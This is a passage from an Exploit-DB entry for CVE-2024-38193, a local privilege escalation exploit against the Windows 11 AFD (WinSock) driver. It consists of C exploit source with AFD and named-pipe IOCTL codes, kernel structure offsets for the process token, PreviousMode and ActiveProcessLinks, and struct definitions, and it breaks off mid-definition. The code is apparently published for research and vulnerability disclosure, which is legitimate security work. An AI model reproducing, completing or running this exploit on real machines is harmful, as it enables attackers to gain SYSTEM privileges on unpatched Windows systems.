Exploit-DB #52284
Description: Microsoft Windows 11 Pro 23H2 - Ancillary Function Driver for WinSock Privilege Escalation
Type: local
Platform: windows
Date: 2025-05-09
Author: Milad karimi

Exploit:
# Exploit Title: Microsoft Windows 11 Pro 23H2 - Ancillary Function Driver for WinSock Privilege Escalation
# Date: 2025-05-05
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Tested on: Win x64
# CVE : CVE-2024-38193

#pragma once

#include "ntstatus.h"
#include "Windows.h"
#include <iostream>

#pragma comment(lib, "ntdll.lib")


#define HIDWORD(l) ((DWORD)(((DWORDLONG)(l)>>32)&0xFFFFFFFF))
#define LODWORD(l) ((DWORD)((DWORDLONG)(l)))

#define AfdOpenPacket "AfdOpenPacketXX"
#define AFD_DEVICE_NAME L"\\Device\\Afd"
#define LOCALHOST "127.0.0.1"


#define IOCTL_AFD_BIND 0x12003LL
#define IOCTL_AFD_LISTEN 0x1200BLL
#define IOCTL_AFD_CONNECT 0x120BBLL
#define IOCTL_AFD_GET_SOCK_NAME 0x1202FLL
#define FSCTL_PIPE_PEEK 0x11400CLL
#define FSCTL_PIPE_IMPERSONATE 0x11001CLL
#define FSCTL_PIPE_INTERNAL_WRITE 0x119FF8

#define OBJ_CASE_INSENSITIVE 0x00000040
#define OBJ_INHERIT 0x00000002
#define FILE_OPEN_IF 0x3
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

#define OFFSET_IN_TOKEN_VARIABLEPART 0x490
#define OFFSET_IN_TOKEN_TOKEN_PRIVILEGES 0x40
#define OFFSET_IN_TOKEN_PRIMARY_GROUP 0xA8
#define OFFSET_IN_TOKEN_DYNAMIC_PART 0xB0
#define OFFSET_IN_TOKEN_DEFAULT_DACL 0xB8
#define PREVIOUS_MODE_OFFSET 0x232
#define OFFSET_TO_ACTIVE_PROCESS_LINKS 0x448
#define OFFSET_TO_TOKEN 0x4b8
#define CURRENT_THREAD (HANDLE)0xFFFFFFFFFFFFFFFE


typedef struct IO_STATUS_BLOCK
{
    union
    {
        DWORD Status;
        PVOID Pointer;
    };

    DWORD* Information;
};

//0x4 bytes (sizeof)
struct _SYSTEM_POWER_STATE_CONTEXT
{
    union
    {
        struct
        {
            ULONG Reserved1 : 8; //0x0
            ULONG TargetSystemState : 4; //0x0
            ULONG EffectiveSystemState : 4; //0x0
            ULONG CurrentSystemState : 4; //0x0
            ULONG IgnoreHibernationPath : 1; //0x0
            ULONG PseudoTransition : 1; //0x0
            ULONG KernelSoftReboot : 1; //0x0
            ULONG DirectedDripsTransition : 1; //0x0
            ULONG Reserved2 : 8; //0x0
        };
        ULONG ContextAsUlong; //0x0
    };
};

//0x4 bytes (sizeof)
union _POWER_STATE
{
    enum _SYSTEM_POWER_STATE SystemState; //0x0
    enum _DEVICE_POWER_STATE DeviceState; //0x0
};

//0x48 bytes (sizeof)
typedef struct _IO_STACK_LOCATION
{
    UCHAR MajorFunction; //0x0
    UCHAR MinorFunction; //0x1
    UCHAR Flags; //0x2
    UCHAR Control; //0x3
    union
    {
        struct
        {
            struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8
            ULONG Options; //0x10
            USHORT FileAttributes; //0x18
            USHORT ShareAccess; //0x1a
            ULONG EaLength; //0x20
        } Create; //0x8
        struct
        {
            struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8
            ULONG Options; //0x10
            USHORT Reserved; //0x18
            USHORT ShareAccess; //0x1a
            struct _NAMED_PIPE_CREATE_PARAMETERS* Parameters; //0x20
        } CreatePipe; //0x8
        struct
        {
            struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8
            ULONG Options; //0x10
            USHORT Reserved; //0x18
            USHORT ShareAccess; //0x1a
            struct _MAILSLOT_CREATE_PARAMETERS* Parameters; //0x20
        } CreateMailslot; //0x8
        struct
        {
            ULONG Length; //0x8
            ULONG Key; //0x10
            ULONG Flags; //0x14
            union _LARGE_INTEGER ByteOffset; //0x18
        } Read; //0x8
        struct
        {
            ULONG Length; //0x8
            ULONG Key; //0x10
            ULONG Flags; //0x14
            union _LARGE_INTEGER ByteOffset; //0x18
        } Write; //0x8
        struct
        {
            ULONG Length; //0x8
            struct _UNICODE_STRING* FileName; //0x10
            enum _FILE_INFORMATION_CLASS FileInformationClass; //0x18
            ULONG FileIndex; //0x20
        } QueryDirectory; //0x8
        struct
        {
            ULONG Length; //0x8
            ULONG CompletionFilter; //0x10
        } NotifyDirectory; //0x8
        struct
        {
            ULONG Length; //0x8
            ULONG CompletionFilter; //0x10
            enum _DIRECTORY_NOTIFY_INFORMATION_CLASS
DirectoryNotifyInformationClass; //0x18
        } NotifyDirectoryEx; //0x8
        struct
        {
            ULONG Length; //0x8
            enum _FILE_INFORMATION_CLASS FileInformationClass; //0x10
        } QueryFile; //0x8
        struct
        {
            ULONG Length; //0x8
            enum _FILE_INFORMATION_CLASS FileInformationClass; //0x10
            struct _FILE_OBJECT* FileObject; //0x18
            union
            {
                struct
                {
                    UCHAR ReplaceIfExists; //0x20
                    UCHAR AdvanceOnly; //0x21
                };
                ULONG ClusterCount; //0x20
                VOID* DeleteHandle; //0x20
            };
        } SetFile; //0x8
        struct
        {
            ULONG Length; //0x8
            VOID* EaList; //0x10
            ULONG EaListLength; //0x18
            ULONG EaIndex; //0x20
        } QueryEa; //0x8
        struct
        {
            ULONG Length; //0x8
        } SetEa; //0x8
        struct
        {
            ULONG Length; //0x8
            enum _FSINFOCLASS FsInformationClass; //0x10
        } QueryVolume; //0x8
        struct
        {
            ULONG Length; //0x8
            enum _FSINFOCLASS FsInformationClass; //0x10
        } SetVolume; //0x8
        struct
        {
            ULONG OutputBufferLength; //0x8
            ULONG InputBufferLength; //0x10
            ULONG FsControlCode; //0x18
            VOID* Type3InputBuffer; //0x20
        } FileSystemControl; //0x8
        struct
        {
            union _LAR